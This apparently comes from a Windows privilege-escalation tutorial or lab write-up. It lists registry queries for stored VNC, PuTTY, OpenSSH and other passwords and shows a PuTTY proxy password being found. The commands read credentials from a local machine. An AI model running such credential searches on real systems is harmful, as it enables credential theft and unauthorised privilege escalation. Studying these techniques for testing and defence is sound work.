the registry is another good place to search for PrivEsc

now take a look at this queries

reg query "HKCU\\Software\\ORL\\WinVNC3\\Password" #for vnc creds
reg query "HKCU\\Software\\TightVNC\\Server" # for vnc creds
reg query "HKCU\\Software\\SimonTatham\\PuTTY\\Sessions" # for putty sessions
reg query "HKCU\\Software\\OpenSSH\\Agent\\Keys"
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

now let’s try the putty sessions

reg query "HKCU\\Software\\SimonTatham\\PuTTY\\Sessions"

and we got a session so let’s query it

reg query "HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\\local"

and we got this huge data so let’s search for password

reg query "HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\\local" | findstr /i passw

and we got the password for the proxy let’s go

now let’s try another query and search in the current user

reg query HKCU /f password /t REG_SZ /s

and we made it we found the password again